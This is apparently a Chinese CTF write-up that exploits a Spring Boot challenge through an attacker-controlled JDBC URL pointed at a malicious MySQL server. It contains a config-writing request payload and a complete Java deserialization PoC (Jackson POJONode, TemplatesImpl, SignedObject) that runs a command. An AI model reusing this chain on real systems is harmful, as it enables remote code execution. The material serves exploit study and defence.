记一次jdbc二开恶意mysql工具打SignObject二次反序列化jaskson链的经历
字数 1365 2025-08-22 12:22:54
JDBC二次开发与MySQL恶意工具利用:SignObject二次反序列化Jackson链分析
环境搭建
-
Docker环境准备:
- 使用Windows主机搭建Docker环境
- 在Dockerfile目录下执行构建命令:
docker build -t cschallenge:latest . - 若遇到报错,先拉取基础镜像:
docker pull openjdk:8-jdk - 再次执行构建命令
-
容器运行:
- 构建容器并转发端口:
docker run -d --name cschallenge-container -p 64412:8080 cschallenge:latest - 访问
http://localhost:64412/验证服务是否正常运行
- 构建容器并转发端口:
漏洞利用前置条件
- 写入config.json:
- 需要先访问
/RunCSByMySelf路由进行写入操作 - 示例Payload:
{ "type": "&123", "data": { "ip": "127.0.0.1", "port": "50050", "username": "8889123", "password": "123456", "ListenerName": "test", "ScriptContent": "$data = \"{'ip':'ip','port':'3306','dbname':'test?maxAllowedPacket=655360&allowUrlInLocalInfile=true&detectCustomCollations=true&autoDeserialize=true'}\";$handle = openf(\">/tmp/config.json\");writeb($handle,$data);closef($handle);" } }
- 需要先访问
代码审计分析
关键类分析
-
ez_webApplication:
- Spring Boot应用入口
- 启动时创建
CheckClass实例
-
CheckClass:
- 使用Javassist动态修改
com.mysql.jdbc.ResultSetImpl类 - 移除原有
getBytes方法并替换为自定义方法:public byte[] getBytes(int columnIndex) throws java.lang.Exception { byte[] data = this.getBytes(columnIndex, false); java.io.ByteArrayInputStream bytesIn = new java.io.ByteArrayInputStream(data); java.io.ObjectInputStream objIn = new org.example.ez_web.utils.NewObjectInputStream(bytesIn); objIn.readObject(); return data; }
- 使用Javassist动态修改
-
NewObjectInputStream:
- 继承
ObjectInputStream并重写resolveClass方法 - 设置黑名单:
private static final Set<String> BLACKLISTED_CLASSES = new HashSet<>(); static { BLACKLISTED_CLASSES.add("java.lang.Runtime"); BLACKLISTED_CLASSES.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); }
- 继承
-
DatabaseConnect:
- 从
/tmp/config.json读取配置 - 构造JDBC连接URL,其中
dbname参数可控
- 从
漏洞利用链分析
-
利用链流程:
ResultSetImpl::getBytes => NewObjectInputStream::static绕过成功 => NewObjectInputStream::readobject => SignObject链二次反序列化链子 -
完整PoC代码:
package org.example.cc1; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.*; import org.springframework.aop.target.HotSwappableTargetSource; import org.example.ez_web.utils.Serializer; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.Base64; import java.util.HashMap; public class SignObject { public static void main(String[] args) throws Exception { // 重写writeReplace方法 try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, (ProtectionDomain) null); } catch (Exception var11) { System.out.println("expc!!!!"); } // TemplatesImpl链构造 ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "test"); setValue(templates, "_tfactory", null); POJONode pojo = new POJONode(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd, "val", pojo); // SignObject链构造 KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(bd, privateKey, signingEngine); POJONode jsonNodes = new POJONode(1); setValue(jsonNodes, "_value", signedObject); BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null); Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val2.setAccessible(true); val2.set(exp2, jsonNodes); System.out.println(serial(exp2)); } public static String serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
关键点解析
-
writeReplace方法重写:
- 移除
BaseJsonNode类的writeReplace方法 - 防止Jackson在序列化时调用默认的
writeReplace方法
- 移除
-
TemplatesImpl链:
- 使用Javassist动态创建恶意类
- 通过
TemplatesImpl触发命令执行 POJONode触发TemplatesImpl.getOutputProperties
-
SignObject二次反序列化:
- 利用
SignedObject.getObject中的readObject()方法 - 绕过黑名单限制
- 实现二次反序列化攻击
- 利用
利用过程中的坑点及解决方案
-
恶意MySQL识别payload多空格问题:
- 问题:生成的base64字节码在复制粘贴时会引入额外空格或换行
- 解决方案:
String s = new String(Files.readAllBytes(Paths.get(path)),"UTF-8"); byte[] decode1 = Base64.getDecoder().decode(s); String s1 = new String(decode1,"UTF-8"); FileOutputStream fos2 = new FileOutputStream(path+"_raw",false); fos2.write(Files.readAllBytes(Paths.get(path))); fos2.close();
-
user限制为root问题:
- 问题:JDBC连接要求user为root,而很多工具默认使用其他用户名
- 解决方案:修改fake-mysql-gui工具源码,将custom改为root
-
数据库连接失败问题:
- 可能原因:时区设置问题
- 尝试解决方案:在JDBC URL中添加时区参数,如
serverTimezone=UTC
技术总结
-
JDBC攻击原理:
- 控制JDBC连接URL连接恶意MySQL服务
- 恶意服务回复包含序列化payload的数据包
- JDBC驱动自动执行查询时触发反序列化
-
绕过黑名单技巧:
- 利用
SignedObject进行二次反序列化 - 通过
POJONode触发TemplatesImpl链
- 利用
-
Java安全开发建议:
- 谨慎处理JDBC连接参数
- 加强反序列化黑名单防护
- 对动态类修改操作进行严格审查